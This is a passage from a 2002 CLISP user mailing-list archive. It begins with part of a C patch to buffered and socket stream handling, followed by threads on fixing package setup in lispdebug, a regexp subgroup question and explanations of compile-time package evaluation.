+7229,7 @@ var uintL bitshift = BufferedStream_bitindex(stream); var uint16 bit_akku = (uint16)(TheSbvector(TheStream(stream)->strm_bitbuffer)->data[0])< nothing to read - buffered_nextbyte(stream); + buffered_nextbyte(stream,0); # Now index=0. set index and eofindex: BufferedStream_index(stream) = eofindex; if (!(eofbits==0)) eofindex += 1; - BufferedStream_eofindex(stream) = eofindex; + BufferedStream_endvalid(stream) = eofindex; } } if (!((bitsize % 8) == 0)) { # Integer-Stream of type b,c @@ -7534,7 +7565,8 @@ stream = popSTACK(); BufferedStream_buffer(stream) = buffer; } - BufferedStream_eofindex(stream) = eofindex_all_invalid; # eofindex := all_invalid + BufferedStream_endvalid(stream) = 0; # eofindex := all_invalid + BufferedStream_eof_hit(stream) = false; BufferedStream_index(stream) = 0; # index := 0 BufferedStream_modified(stream) = false; # Buffer unmodified BufferedStream_position(stream) = 0; # position := 0 @@ -7688,7 +7720,7 @@ var uintL eofposition = 0; var uintC count; for (count=0; count < 8*sizeof(uintL); count += 8 ) { - var uintB* ptr = buffered_nextbyte(stream); + var uintB* ptr = buffered_nextbyte(stream,0); if (ptr == (uintB*)NULL) goto too_short; eofposition |= ((*ptr) << count); @@ -7866,7 +7898,7 @@ # and reposition: var uintL position = BufferedStream_buffstart(stream) + BufferedStream_index(stream); BufferedStream_index(stream) = 0; # index := 0 - BufferedStream_eofindex(stream) = eofindex_all_invalid; # eofindex := all_invalid + BufferedStream_endvalid(stream) = 0; # eofindex := all_invalid if (!BufferedStream_blockpositioning(stream)) { BufferedStream_buffstart(stream) = position; } else { @@ -7892,7 +7924,7 @@ BufferedStream_channel(stream) = NIL; # Handle becomes invalid BufferedStream_buffer(stream) = NIL; # free Buffer BufferedStream_buffstart(stream) = 0; # delete buffstart (unnecessary) - BufferedStream_eofindex(stream) = eofindex_all_invalid; # delete eofindex (unnecessary) + BufferedStream_endvalid(stream) = 0; # delete eofindex (unnecessary) BufferedStream_index(stream) = 0; # delete index (unnecessary) BufferedStream_modified(stream) = false; # delete modified_flag (unnecessary) BufferedStream_position(stream) = 0; # delete position (unnecessary) @@ -14866,6 +14898,56 @@ } } +local SOCKET stream_handle (object stream) { + if (builtin_stream_p(stream)) { + switch (TheStream(stream)->strmtype) { + case strmtype_socket: + return SocketChannel(test_socket_stream(stream,true)); + case strmtype_pipe_in: + return (SOCKET)TheHandle(ChannelStream_buffered(stream) + ? BufferedStream_channel (stream) + : ChannelStream_ichannel (stream)); + case strmtype_pipe_out: + return (SOCKET)TheHandle(ChannelStream_buffered(stream) + ? BufferedStream_channel (stream) + : ChannelStream_ochannel (stream)); + default: + break; + } + } + pushSTACK(stream); # TYPE-ERROR slot DATUM + pushSTACK(S(stream)); # TYPE-ERROR slot EXPECTED-TYPE + pushSTACK(stream); + pushSTACK(TheSubr(subr_self)->name); + fehler(type_error,GETTEXT("~: argument ~ is not a SOCKET-STREAM")); +} + +local object reduce_stream (object stream, direction_t dir) { + if (builtin_stream_p(stream)) { + switch (TheStream(stream)->strmtype) { + case strmtype_twoway_socket: + return dir==DIRECTION_INPUT + ? TheStream(stream)->strm_twoway_socket_input + : TheStream(stream)->strm_twoway_socket_output; + case strmtype_pipe_in: + case strmtype_pipe_out: + case strmtype_socket: + return stream; + case strmtype_twoway: + return dir==DIRECTION_INPUT + ? reduce_stream(TheStream(stream)->strm_twoway_input,dir) + : reduce_stream(TheStream(stream)->strm_twoway_output,dir); + default: + break; + } + } + pushSTACK(stream); # TYPE-ERROR slot DATUM + pushSTACK(S(stream)); # TYPE-ERROR slot EXPECTED-TYPE + pushSTACK(stream); + pushSTACK(TheSubr(subr_self)->name); + fehler(type_error,GETTEXT("~: argument ~ is not a SOCKET-STREAM")); +} + # set the appropriate fd_sets for the socket, # either a socket-server, a socket-stream or a (socket . direction) # see socket_status() for details @@ -14873,13 +14955,23 @@ fd_set *errorfds) { object sock = (consp(socket) ? Car(socket) : socket); direction_t dir = (consp(socket)?check_direction(Cdr(socket)):DIRECTION_IO); - SOCKET handle = socket_handle(sock,true); - FD_SET(handle,errorfds); if (socket_server_p(sock)) { - if (READ_P(dir)) FD_SET(handle,readfds); - } else { # sock is a socket stream - if (READ_P(dir) && input_stream_p(sock)) FD_SET(handle,readfds); - if (WRITE_P(dir) && output_stream_p(sock)) FD_SET(handle,writefds); + if (READ_P(dir)) { + SOCKET handle = socket_handle(sock,true); + FD_SET(handle,readfds); + FD_SET(handle,errorfds); + } + } else { # sock should be a stream + if (READ_P(dir) && input_stream_p(sock)) { + SOCKET handle = stream_handle(reduce_stream(sock,DIRECTION_INPUT)); + FD_SET(handle,readfds); + FD_SET(handle,errorfds); + } + if (WRITE_P(dir) && output_stream_p(sock)) { + SOCKET handle = stream_handle(reduce_stream(sock,DIRECTION_OUTPUT)); + FD_SET(handle,writefds); + FD_SET(handle,errorfds); + } } } @@ -14891,22 +14983,34 @@ fd_set *errorfds) { object sock = (consp(socket) ? Car(socket) : socket); direction_t dir = (consp(socket)?check_direction(Cdr(socket)):DIRECTION_IO); - SOCKET handle = socket_handle(sock,true); - if (FD_ISSET(handle,errorfds)) return S(Kerror); - else { - if (socket_server_p(sock)) { - return FD_ISSET(handle,readfds) ? T : NIL; - } else { - bool wr = WRITE_P(dir) && FD_ISSET(handle,writefds), - rd = (READ_P(dir) && FD_ISSET(handle,readfds) - && (ls_avail_p(stream_char_p(sock) - ? listen_char(sock) - : listen_byte(sock)))); - if ( rd && !wr) return S(Kinput); - else if (!rd && wr) return S(Koutput); - else if ( rd && wr) return S(Kio); - else return NIL; - } + if (socket_server_p(sock)) { + SOCKET handle = socket_handle(sock,true); + if (FD_ISSET(handle,errorfds)) return S(Kerror); + return FD_ISSET(handle,readfds) ? T : NIL; + } else { + bool wr = 0, rd = 0, in_err = 0, out_err = 0; + if (WRITE_P(dir)) { + SOCKET handle = stream_handle(reduce_stream(sock,DIRECTION_OUTPUT)); + wr = FD_ISSET(handle,writefds); + out_err = FD_ISSET(handle,errorfds); + } + if (READ_P(dir)) { + object str = reduce_stream(sock,DIRECTION_INPUT); + SOCKET handle = stream_handle(str); + in_err = FD_ISSET(handle, errorfds); + if (FD_ISSET(handle,readfds) +#if 0 + && (ls_avail_p(stream_char_p(str) + ? listen_char(str) + : listen_byte(str))) +#endif + ) + rd = 1; + } + if ( rd && !wr) return S(Kinput); + else if (!rd && wr) return S(Koutput); + else if ( rd && wr) return S(Kio); + else return NIL; } return NIL; } Index: unixaux.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/unixaux.d,v retrieving revision 1.20 diff -u -r1.20 unixaux.d --- unixaux.d 2001/02/05 19:29:45 1.20 +++ unixaux.d 2002/01/21 18:40:30 @@ -279,20 +279,12 @@ # does not specify anything about possible side effects. handle_fault_range(PROT_READ_WRITE,(aint)buf,(aint)buf+nbyte); #endif - until (nbyte==0) { - retval = read(fd,buf,nbyte); - if (retval == 0) - break; - elif (retval < 0) { - #ifdef EINTR - if (!(errno == EINTR)) - #endif - return retval; - } else { - buf += retval; done += (RW_SIZE_T)retval; nbyte -= (RW_SIZE_T)retval; - } - } - return done; + again: + retval = read(fd,buf,nbyte); + if (retval < 0 && errno == EINTR) + goto again; + else + return retval; } # Ein Wrapper um die write-Funktion. --=-=-=-- From olczyk@interaccess.com Mon Jan 21 11:41:32 2002 Received: from from.interaccess.com ([207.208.131.20] helo=mcfeely.interaccess.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16SkJw-0004dJ-00 for ; Mon, 21 Jan 2002 11:41:32 -0800 Received: from d227.focal10.interaccess.com (d227.focal10.interaccess.com [207.208.141.227]) by mcfeely.interaccess.com (8.10.2/8.10.2) with SMTP id g0LJfJC16381 for ; Mon, 21 Jan 2002 13:41:20 -0600 (CST) From: olczyk@interaccess.com (Thaddeus L. Olczyk) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can anyone help me lispdebug? Organization: stickit@nospammers.com Reply-To: olczyk@interaccess.com Message-ID: <3c4e6ecf.303611203@smtp.interaccess.com> References: <3c4b6db7.172259546@smtp.interaccess.com> <3c4bbc6b.192407812@smtp.interaccess.com> <3c4b98b5.248801796@smtp.interaccess.com> In-Reply-To: X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 21 11:42:03 2002 X-Original-Date: Mon, 21 Jan 2002 19:41:36 GMT On 21 Jan 2002 09:36:21 -0500, Sam Steingold wrote: >> * In message <3c4b98b5.248801796@smtp.interaccess.com> >> * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?" >> * Sent on Mon, 21 Jan 2002 04:29:36 GMT >> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: >> >> On 20 Jan 2002 10:04:31 -0500, Sam Steingold wrote: >>=20 >> >set *package-tasks-treat-specially* to NIL. >> >(this is the default in the CVS) >> > >> >when it is T, most package tasks, like MAKE-PACKAGE, USE-PACKAGE &c = are >> >treated as if they were wrapped with (EVAL-WHEN (LOAD COMPILE EVAL)), >> >which is good for "novice users" (for some definition of a novice). >> > >> >these days everyone knows to use DEFPACKAGE, so it's okay to turn = this >> >off.=20 >> Can you be a bit more specific? >> Your approach doesn't seem to be working. > >what did you do? I am not clairvoyant (unfortunately). > >(describe '*package-tasks-treat-specially*) =3D=3D> ? I put: (setf *package-tasks-treat-specially* nil) at the begining of every file in the package ( well every clisp relevant file I left things like inst-cmucl.lisp alone ). I went on the open projects IRC yesterday night and the help there indicated that the in-package call was to blame. But I still kept getting all kinds of errors which I was unable to resolve so I've basically given up. At this point the source is to corrupt with changes to make it work anywhere as it was intended, but has too many changes to abandon willy nilly. What I need to do now is flush both clisp and lispdebug and start=20 with a new install. ( Recording what I consider important changes to both. BTW for clisp it is just using the "full" images instead of the base ones. ) Then archive that so I can recover from changes. That takes a lor of time, and at the moment my productivity with clisp is 0. So I take a break and increase my productivity before tackling it. Here is more or less what I've done till this point:=20 1) Replaced in-package with some form of: (setf p (find-package p-name)) (if (package-exists p) ;pseudo-code here (setf *package* p)) as was appropriate given the place in code ( eg I didn't add the if, if the code came after a make-package.) 2) I changed: (make-package "DEBUGGER")=20 to: (make-package "DEBUGGER"=20 :use (find-package "COMMON-LISP-USER"=20 :use (find-package "COMMON-LISP") )=20 Since I was initialially getting errors like DEBUGGER::SHELL undefined and later other symbols were undefined. I found I had to get both packages. 3) At that point I kep getting weird compile messages: things like LOAD and EVAL not defined. Removing the outright "in-package" substitutes, ( The ones called from a "global" line in the file. I left the ones embedded in a defun alone. ) That got it to compile, but it can't find the debugger. The last desperate thing I tried to do was remove all references to the package debugger, and just have it compile in the "global namespace" (????). I went and modified the associated c code and all the lisp files, and it still wants the DEBUGGER package. From samuel.steingold@verizon.net Mon Jan 21 12:20:37 2002 Received: from mta016pub.verizon.net ([206.46.170.220] helo=mta016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Skvl-0001hi-00 for ; Mon, 21 Jan 2002 12:20:37 -0800 Received: from xchange.com ([12.25.11.194]) by mta016.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020121202027.QOJS9126.mta016.verizon.net@xchange.com>; Mon, 21 Jan 2002 14:20:27 -0600 To: Todd Sabin Cc: Bruno Haible , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: <15423.6323.262729.596965@honolulu.ilog.fr> Reply-To: clisp-devel@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 74 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 21 12:21:02 2002 X-Original-Date: 21 Jan 2002 15:20:13 -0500 [let's try to move this to - Reply-To is set] > * In message > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > * Sent on 21 Jan 2002 13:52:53 -0500 > * Honorable Todd Sabin writes: > > (Ignore the socket-status stuff, since you've already done that.) I incorporated some of your suggestions too - check it out BTW, what does this mean: struct bar { bool foo : 8; /* ^^^ what is this? */ } it appears my C is no good anymore... > The first makes it possible to use buffered streams when you don't > have 4096 blocks of data to work with. What I did is change the > eofindex member of the stream to an 'endvalid' member, and added an > explicit flag which indicates that the eof is at endvalid. This > actually simplified a number of things, though it's not complete, yet. > I'm sure the eof_hit flag isn't set correctly in all cases. The other > piece needed for this is to change full_read in unixaux.d to return > less than 4096 bytes of data if possible. (Other _read functions > would need to be similarly modified.) With those changes buffered > sockets are quite usable, though the hang problem still exists. cool! please keep going - I will not delve into this but wait for your results. BTW, what is this 4096 world constant? why are you using it explicitly in the code - why not define a macro? > Fixing the hang problem was worse. I modified buffered_nextbyte to > accept a bool* which means that the caller wants to know if > buffered_nextbyte _might_ block. Most existing callers of > buffered_nextbyte just pass NULL and block if necessary, as before. > listen_char and listen_byte, however, are interested, and if > buffered_nextbyte might hang, they call low_listen_handle. > low_listen_handle is what used to be low_listen_unbuffered_handle, > minus the unbuffered stuff. In the case where low_listen_handle has > to resort to a read, it makes a callback with the read data so that it > can be handled appropriately in the buffered and unbuffered cases. > This last bit is quite ugly (and not totally correct at this point, > either), and there's probably a better way to handle it. > > Anyway, food for thought. With these changes, my web proxy gets the > same throughput for large downloads as I get with the C proxy I have > been using, ~190K/s. I.e. the limiting factor is my bandwidth. When > I have to use unbuffered sockets, the best it could do was ~30K/s. So > fixing this is a big win. great! > Comments appreciated. 1. use the latest CVS version - specifically, macros ChannelStream_[io]handle 2. why does your unixaux patch drop the "#ifdef EINTR" check? (I am not sure this is the only problem with that patch...) 3. shouldn't `end_valid' be uintL, not sintL? eofindex had to be signed because it incorporated other - non-numeric - information too you might want to split your patch into several smaller ones, e.g., a separate patch replacing `eofindex' with `end_valid' and `eof_hit_p' this would make reading the patches easier... -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Who is General Failure and why is he reading my hard disk? From samuel.steingold@verizon.net Mon Jan 21 12:46:33 2002 Received: from out015pub.verizon.net ([206.46.170.90] helo=out015.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16SlKp-0008D1-00 for ; Mon, 21 Jan 2002 12:46:32 -0800 Received: from xchange.com ([12.25.11.194]) by out015.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020121204624.QPVF2743.out015.verizon.net@xchange.com>; Mon, 21 Jan 2002 14:46:24 -0600 To: olczyk@interaccess.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can anyone help me lispdebug? References: <3c4b6db7.172259546@smtp.interaccess.com> <3c4bbc6b.192407812@smtp.interaccess.com> <3c4b98b5.248801796@smtp.interaccess.com> <3c4e6ecf.303611203@smtp.interaccess.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3c4e6ecf.303611203@smtp.interaccess.com> Message-ID: Lines: 85 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 21 12:47:05 2002 X-Original-Date: 21 Jan 2002 15:46:09 -0500 > * In message <3c4e6ecf.303611203@smtp.interaccess.com> > * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?" > * Sent on Mon, 21 Jan 2002 19:41:36 GMT > * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: > > On 21 Jan 2002 09:36:21 -0500, Sam Steingold wrote: > > >> On 20 Jan 2002 10:04:31 -0500, Sam Steingold wrote: > >> > >> >set *package-tasks-treat-specially* to NIL. > >> > > >> >these days everyone knows to use DEFPACKAGE > >(describe '*package-tasks-treat-specially*) ==> ? please do evaluate this form to make sure that you do have the variable (i.e., that your CLISP is recent enough). > I put: (setf *package-tasks-treat-specially* nil) at the begining of > every file in the package ( well every clisp relevant file I left > things like inst-cmucl.lisp alone ). this is an overkill. you should just set the var once. > Here is more or less what I've done till this point: > 1) Replaced in-package with some form of: > (setf p (find-package p-name)) > (if (package-exists p) ;pseudo-code here > (setf *package* p)) > as was appropriate given the place in code > ( eg I didn't add the if, if the code came after a make-package.) this is wrong. there are two forms you need: IN-PACKAGE and DEFPACKAGE if you are not an expert, you should _never_ use anything else. if you think you have to use other forms, you are probably wrong (unless you _are_ an expert, _and_ you are writing something which works with packages on a deeper level than just setting the working environment). > 2) I changed: > (make-package "DEBUGGER") > to: > (make-package "DEBUGGER" > :use (find-package "COMMON-LISP-USER" > :use (find-package "COMMON-LISP") ) > Since I was initialially getting errors like > DEBUGGER::SHELL undefined and later other symbols were undefined. > I found I had to get both packages. replace this with (defpackage "DEBUGGER" (:use "CL" "EXT")) > 3) At that point I kep getting weird compile messages: things like > LOAD and EVAL not defined. Removing the outright "in-package" > substitutes, ( The ones called from a "global" line in the file. I > left the ones embedded in a defun alone. ) That got it to compile, > but it can't find the debugger. don't do this. > The last desperate thing I tried to do was remove all references to > the package debugger, and just have it compile in the "global > namespace" (????). I went and modified the associated c code and > all the lisp files, and it still wants the DEBUGGER package. don't do this either. I suggest that you - make sure that your CLISP is 2.27 - make sure that *package-tasks-treat-specially* is NIL in your images (dump new images if necessary) - get a clean lispdebug. - replace (when (not (find-package "DEBUGGER")) (make-package "DEBUGGER")) (which is a pre-ANSI abomination) with (defpackage "DEBUGGER" (:use "CL" "EXT")) in debugger.lisp report errors (or, better yet, success stories :-) here! -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Sufficiently advanced stupidity is indistinguishable from malice. From olczyk@interaccess.com Wed Jan 23 06:27:22 2002 Received: from from.interaccess.com ([207.208.131.20] helo=dmitri.interaccess.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16TON0-0006LH-00 for ; Wed, 23 Jan 2002 06:27:22 -0800 Received: from d206.focal10.interaccess.com (d206.focal10.interaccess.com [207.208.141.206]) by dmitri.interaccess.com (8.10.2/8.10.2) with SMTP id g0NERE814093 for ; Wed, 23 Jan 2002 08:27:14 -0600 (CST) From: olczyk@interaccess.com (Thaddeus L. Olczyk) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can anyone help me lispdebug? Organization: stickit@nospammers.com Reply-To: olczyk@interaccess.com Message-ID: <3c4ec44b.36215765@smtp.interaccess.com> References: <3c4b6db7.172259546@smtp.interaccess.com> <3c4bbc6b.192407812@smtp.interaccess.com> <3c4b98b5.248801796@smtp.interaccess.com> <3c4e6ecf.303611203@smtp.interaccess.com> In-Reply-To: X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 23 06:28:08 2002 X-Original-Date: Wed, 23 Jan 2002 14:27:32 GMT On 21 Jan 2002 15:46:09 -0500, Sam Steingold wrote: >> * In message <3c4e6ecf.303611203@smtp.interaccess.com> >> * On the subject of "Re: [clisp-list] Can anyone help me lispdebug?" >> * Sent on Mon, 21 Jan 2002 19:41:36 GMT >> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: >> >> On 21 Jan 2002 09:36:21 -0500, Sam Steingold wrote: >>=20 >> >> On 20 Jan 2002 10:04:31 -0500, Sam Steingold wrote: >> >>=20 >> >> >set *package-tasks-treat-specially* to NIL. >> >> > >> >> >these days everyone knows to use DEFPACKAGE >> >(describe '*package-tasks-treat-specially*) =3D=3D> ? > >please do evaluate this form to make sure that you do have the variable >(i.e., that your CLISP is recent enough). > CLisp-2.27. In fact I think this is the problem. The person who wrote it, got it to work on one version and changes to Clisp have broken it. It says the variable is nil. >> I put: (setf *package-tasks-treat-specially* nil) at the begining of >> every file in the package ( well every clisp relevant file I left >> things like inst-cmucl.lisp alone ). > >this is an overkill. >you should just set the var once. > But it is OK isn't it. Yeah it's overkill, but that way I'm sure the variable is nil. >> Here is more or less what I've done till this point:=20 >> 1) Replaced in-package with some form of: >> (setf p (find-package p-name)) >> (if (package-exists p) ;pseudo-code here >> (setf *package* p)) >> as was appropriate given the place in code >> ( eg I didn't add the if, if the code came after a make-package.) > >this is wrong. >there are two forms you need: IN-PACKAGE and DEFPACKAGE >if you are not an expert, you should _never_ use anything else. >if you think you have to use other forms, you are probably wrong (unless >you _are_ an expert, _and_ you are writing something which works with >packages on a deeper level than just setting the working environment). > I'm not an expert, but I'm trying to get something to work that was written by an expert. ( Or at least I believe he *thought* he was an expert ;) ) The funny thing is that it seems that in-package causes a lot of problems, by insisting on being evaluated during compiles and loads. >> 2) I changed: >> (make-package "DEBUGGER")=20 >> to: >> (make-package "DEBUGGER"=20 >> :use (find-package "COMMON-LISP-USER"=20 >> :use (find-package "COMMON-LISP") )=20 >> Since I was initialially getting errors like >> DEBUGGER::SHELL undefined and later other symbols were undefined. >> I found I had to get both packages. > >replace this with >(defpackage "DEBUGGER" (:use "CL" "EXT")) > I'll try this. >> 3) At that point I kep getting weird compile messages: things like >> LOAD and EVAL not defined. Removing the outright "in-package" >> substitutes, ( The ones called from a "global" line in the file. I >> left the ones embedded in a defun alone. ) That got it to compile, >> but it can't find the debugger. > >don't do this. > >> The last desperate thing I tried to do was remove all references to >> the package debugger, and just have it compile in the "global >> namespace" (????). I went and modified the associated c code and >> all the lisp files, and it still wants the DEBUGGER package. > >don't do this either. > >I suggest that you >- make sure that your CLISP is 2.27 >- make sure that *package-tasks-treat-specially* is NIL in your images > (dump new images if necessary) >- get a clean lispdebug. >- replace > (when (not (find-package "DEBUGGER")) (make-package "DEBUGGER")) > (which is a pre-ANSI abomination) with > (defpackage "DEBUGGER" (:use "CL" "EXT")) > in debugger.lisp > >report errors (or, better yet, success stories :-) here! I'll do this, it will take some time though since I'll write a script which does all this. ( That way I guarantee that I have a fresh system each time. ) From olczyk@interaccess.com Wed Jan 23 06:30:33 2002 Received: from from.interaccess.com ([207.208.131.20] helo=postal.interaccess.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16TOQ4-0007Vv-00 for ; Wed, 23 Jan 2002 06:30:33 -0800 Received: from d206.focal10.interaccess.com (d206.focal10.interaccess.com [207.208.141.206]) by postal.interaccess.com (8.10.2/8.10.2) with SMTP id g0NEUPM11171 for ; Wed, 23 Jan 2002 08:30:25 -0600 (CST) From: olczyk@interaccess.com (Thaddeus L. Olczyk) To: clisp-list@lists.sourceforge.net Organization: stickit@nospammers.com Reply-To: olczyk@interaccess.com Message-ID: <3c4fc863.37263546@smtp.interaccess.com> X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Regexp question. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 23 06:31:22 2002 X-Original-Date: Wed, 23 Jan 2002 14:30:44 GMT According to the documentation in rhe regexp manual, match is supposed to return a list; the first value is a regex_t describing the whole expression the subsequent values are regex_t for each subgroup. Trying this little program, (use-package "REGEXP") (setf t1 "abcdefghijklmnop") (terpri) (princ (match "abcdef" t1))=20 (terpri) (princ (regexp:match "ab\\(c\\(def\\)\\)" t1))=20 the second match simply returns one value where if I understood correctly, it should return three. How do I extract subgroups? From william.newman@airmail.net Wed Jan 23 08:16:35 2002 Received: from mx2.airmail.net ([209.196.77.99]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16TQ4g-0004X0-00 for ; Wed, 23 Jan 2002 08:16:34 -0800 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx2.airmail.net with smtp (Exim 3.16 #10) id 16TQ4g-0009TD-00 for clisp-list@lists.sourceforge.net; Wed, 23 Jan 2002 10:16:34 -0600 Received: from balefire.localdomain from [207.136.54.243] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Wed, 23 Jan 2002 10:18:19 -0600 (CST) Received: (from newman@localhost) by balefire.localdomain (8.11.3/8.11.3) id g0NG4w905668; Wed, 23 Jan 2002 10:04:58 -0600 (CST) From: William Harold Newman To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Can anyone help me lispdebug? Message-ID: <20020123160458.GD31476@balefire.localdomain> References: <3c4b6db7.172259546@smtp.interaccess.com> <3c4bbc6b.192407812@smtp.interaccess.com> <3c4b98b5.248801796@smtp.interaccess.com> <3c4e6ecf.303611203@smtp.interaccess.com> <3c4ec44b.36215765@smtp.interaccess.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3c4ec44b.36215765@smtp.interaccess.com> User-Agent: Mutt/1.3.25i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 23 08:17:07 2002 X-Original-Date: Wed, 23 Jan 2002 10:04:58 -0600 On Wed, Jan 23, 2002 at 02:27:32PM +0000, Thaddeus L. Olczyk wrote: > On 21 Jan 2002 15:46:09 -0500, Sam Steingold wrote: > >> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: > It says the variable is nil. > >> I put: (setf *package-tasks-treat-specially* nil) at the begining of > >> every file in the package ( well every clisp relevant file I left > >> things like inst-cmucl.lisp alone ). > > > >this is an overkill. > >you should just set the var once. > > > But it is OK isn't it. Yeah it's overkill, but that way I'm sure the > variable is nil. It really is better to set it once, really early (e.g. in your configuration file). That way, you can be sure it's NIL when you need it, whether the time you need it is at read time or EVAL-WHEN :COMPILE-TOPLEVEL time or execution time or what. If you try to assign it in each file, you get into subtleties about exactly when the assignment is executed, and because of EVAL-WHEN, reader macros, and the other times (e.g. macroexpansion time) that things can be executed in Common Lisp, this can get trickier than you think. > >> Here is more or less what I've done till this point: > >> 1) Replaced in-package with some form of: > >> (setf p (find-package p-name)) > >> (if (package-exists p) ;pseudo-code here > >> (setf *package* p)) > >> as was appropriate given the place in code > >> ( eg I didn't add the if, if the code came after a make-package.) > > > >this is wrong. > >there are two forms you need: IN-PACKAGE and DEFPACKAGE > >if you are not an expert, you should _never_ use anything else. > >if you think you have to use other forms, you are probably wrong (unless > >you _are_ an expert, _and_ you are writing something which works with > >packages on a deeper level than just setting the working environment). > > > I'm not an expert, but I'm trying to get something to work that was > written by an expert. ( Or at least I believe he *thought* he was an > expert ;) ) I'll second Sam's advice here. Don't replace IN-PACKAGE with hand-rolled code like that unless you're ready to spend some time getting your mind around EVAL-WHEN, the reader, and the package system. (When you are ready, that's fine. Learning those things is by no means wasted time, since they can be useful. But there are lots of other useful things you may be interested in learning first.) (Or, if you are maintaining code where someone else uses hand-rolled package code like that, then prepare to learn something about that stuff, and hope that the original author and earlier maintainers were relatively sane. Some don't use packages, some use IN-PACKAGE, and some have #+FOO:BAR #.(SHADOWING-IMPORT BAZ:BLETCH) thrust upon them.:-) > The funny thing is that it seems that in-package causes a lot of > problems, by insisting on being evaluated during compiles and loads. IN-PACKAGE really needs to do that in order to do what it's supposed to do. DEFPACKAGE does too. Consider a file like (cl:defpackage "FOO" (:use "CL") (:export "THIS" "THAT")) (cl:defpackage "BAR" (:use "CL") (:export "XXX" "YYY")) (cl:in-package "FOO") (defun this (x) (bar:xxx x (+ x 1) (+ x 2))) If the DEFPACKAGEs aren't executed at compile time, then the form with BAR:XXX will cause a reader error when COMPILE-FILE tries to READ the form. If the IN-PACKAGE isn't executed at compile time, then the definition of THIS will end up in whatever *PACKAGE* was bound to when COMPILE-FILE is called, rather than in the FOO package as was intended. -- William Harold Newman "Look on my works, ye Mighty, and despair!" -- Ozymandias, King of Kings PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From sven@beta9.be Wed Jan 23 11:14:35 2002 Received: from eos.telenet-ops.be ([195.130.132.40]) by usw-sf-list1.sourceforge.net with esmtp (Exim 